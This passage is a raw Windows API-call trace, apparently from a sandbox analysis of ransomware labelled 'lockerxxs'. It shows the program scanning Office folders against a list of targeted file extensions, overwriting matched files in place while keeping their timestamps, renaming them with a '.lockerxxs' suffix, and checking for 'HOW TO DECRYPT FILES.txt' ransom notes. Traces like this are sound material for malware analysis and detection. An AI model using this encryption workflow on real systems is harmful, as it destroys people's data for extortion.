returned 4 [0064.782] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.cpp") returned 0 [0064.782] lstrlenA (lpString="*.cpp") returned 5 [0064.782] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.rar") returned 0 [0064.782] lstrlenA (lpString="*.rar") returned 5 [0064.782] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.zip") returned 0 [0064.782] lstrlenA (lpString="*.zip") returned 5 [0064.782] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.html") returned 1 [0064.782] lstrlenA (lpString="*.html") returned 6 [0064.782] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" [0064.782] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" [0064.782] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html." [0064.782] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.lockerxxs" [0064.782] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.783] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x164a [0064.783] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x529b4870, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea)) returned 1 [0064.783] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.783] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1624, lpOverlapped=0x0) returned 1 [0064.785] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html") returned="FormsViewFrame.html" [0064.786] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.786] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1624, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1624, lpOverlapped=0x0) returned 1 [0064.786] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.786] CloseHandle (hObject=0x98) returned 1 [0064.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.lockerxxs")) returned 1 [0064.790] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsViewTemplate.html", cAlternateFileName="FORMSV~3.HTM")) returned 1 [0064.790] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewTemplate.html") returned -1 [0064.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewTemplate.html") returned 1 [0064.790] lstrcmpiA (lpString1="", lpString2="FormsViewTemplate.html") returned -1 [0064.790] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html") returned="FormsViewFrame.html" [0064.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.790] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.790] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.790] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.790] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormsViewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" [0064.790] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.ems") returned 0 [0064.790] lstrlenA (lpString="*.ems") returned 5 [0064.790] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.db") returned 0 [0064.790] lstrlenA (lpString="*.db") returned 4 [0064.790] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.dbf") returned 0 [0064.790] lstrlenA (lpString="*.dbf") returned 5 [0064.790] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.myox") returned 0 [0064.790] lstrlenA (lpString="*.myox") returned 6 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.myo") returned 0 [0064.791] lstrlenA (lpString="*.myo") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbw") returned 0 [0064.791] lstrlenA (lpString="*.qbw") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbb") returned 0 [0064.791] lstrlenA (lpString="*.qbb") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbm") returned 0 [0064.791] lstrlenA (lpString="*.qbm") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbo") returned 0 [0064.791] lstrlenA (lpString="*.qbo") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbx") returned 0 [0064.791] lstrlenA (lpString="*.qbx") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qba") returned 0 [0064.791] lstrlenA (lpString="*.qba") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qby") returned 0 [0064.791] lstrlenA (lpString="*.qby") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qbj") returned 0 [0064.791] lstrlenA (lpString="*.qbj") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.ofx") returned 0 [0064.791] lstrlenA (lpString="*.ofx") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.qif") returned 0 [0064.791] lstrlenA (lpString="*.qif") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.mye") returned 0 [0064.791] lstrlenA (lpString="*.mye") returned 5 [0064.791] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.mbox") returned 0 [0064.791] lstrlenA (lpString="*.mbox") returned 6 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.eml") returned 0 [0064.792] lstrlenA (lpString="*.eml") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.pst") returned 0 [0064.792] lstrlenA (lpString="*.pst") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.ost") returned 0 [0064.792] lstrlenA (lpString="*.ost") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.idx") returned 0 [0064.792] lstrlenA (lpString="*.idx") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.dbx") returned 0 [0064.792] lstrlenA (lpString="*.dbx") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.sql") returned 0 [0064.792] lstrlenA (lpString="*.sql") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.mdb") returned 0 [0064.792] lstrlenA (lpString="*.mdb") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.fdb") returned 0 [0064.792] lstrlenA (lpString="*.fdb") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.wab") returned 0 [0064.792] lstrlenA (lpString="*.wab") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.dat") returned 0 [0064.792] lstrlenA (lpString="*.dat") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.txt") returned 0 [0064.792] lstrlenA (lpString="*.txt") returned 5 [0064.792] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.jpeg") returned 0 [0064.792] lstrlenA (lpString="*.jpeg") returned 6 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.jpg") returned 0 [0064.793] lstrlenA (lpString="*.jpg") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.png") returned 0 [0064.793] lstrlenA (lpString="*.png") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.php") returned 0 [0064.793] lstrlenA (lpString="*.php") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.cs") returned 0 [0064.793] lstrlenA (lpString="*.cs") returned 4 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.cpp") returned 0 [0064.793] lstrlenA (lpString="*.cpp") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.rar") returned 0 [0064.793] lstrlenA (lpString="*.rar") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.zip") returned 0 [0064.793] lstrlenA (lpString="*.zip") returned 5 [0064.793] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", pszSpec="*.html") returned 1 [0064.793] lstrlenA (lpString="*.html") returned 6 [0064.793] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" [0064.793] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" [0064.793] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html." [0064.793] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.lockerxxs" [0064.793] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.794] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xadf [0064.794] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x529b4870, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea)) returned 1 [0064.794] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.794] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xab9, lpOverlapped=0x0) returned 1 [0064.796] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html") returned="FormsViewTemplate.html" [0064.796] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.796] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xab9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xab9, lpOverlapped=0x0) returned 1 [0064.796] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.797] CloseHandle (hObject=0x98) returned 1 [0064.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.lockerxxs")) returned 1 [0064.805] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormToolImages.jpg", cAlternateFileName="FORMTO~1.JPG")) returned 1 [0064.805] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormToolImages.jpg") returned -1 [0064.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormToolImages.jpg") returned 1 [0064.805] lstrcmpiA (lpString1="", lpString2="FormToolImages.jpg") returned -1 [0064.805] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html") returned="FormsViewTemplate.html" [0064.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.805] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.805] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormToolImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" [0064.805] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.ems") returned 0 [0064.805] lstrlenA (lpString="*.ems") returned 5 [0064.805] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.db") returned 0 [0064.805] lstrlenA (lpString="*.db") returned 4 [0064.805] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.dbf") returned 0 [0064.806] lstrlenA (lpString="*.dbf") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.myox") returned 0 [0064.806] lstrlenA (lpString="*.myox") returned 6 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.myo") returned 0 [0064.806] lstrlenA (lpString="*.myo") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbw") returned 0 [0064.806] lstrlenA (lpString="*.qbw") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbb") returned 0 [0064.806] lstrlenA (lpString="*.qbb") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbm") returned 0 [0064.806] lstrlenA (lpString="*.qbm") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbo") returned 0 [0064.806] lstrlenA (lpString="*.qbo") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbx") returned 0 [0064.806] lstrlenA (lpString="*.qbx") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qba") returned 0 [0064.806] lstrlenA (lpString="*.qba") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qby") returned 0 [0064.806] lstrlenA (lpString="*.qby") returned 5 [0064.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg", pszSpec="*.qbj") returned 0 [0064.806] lstrlenA (lpString="*.qbj") returned 5 [0064.806] 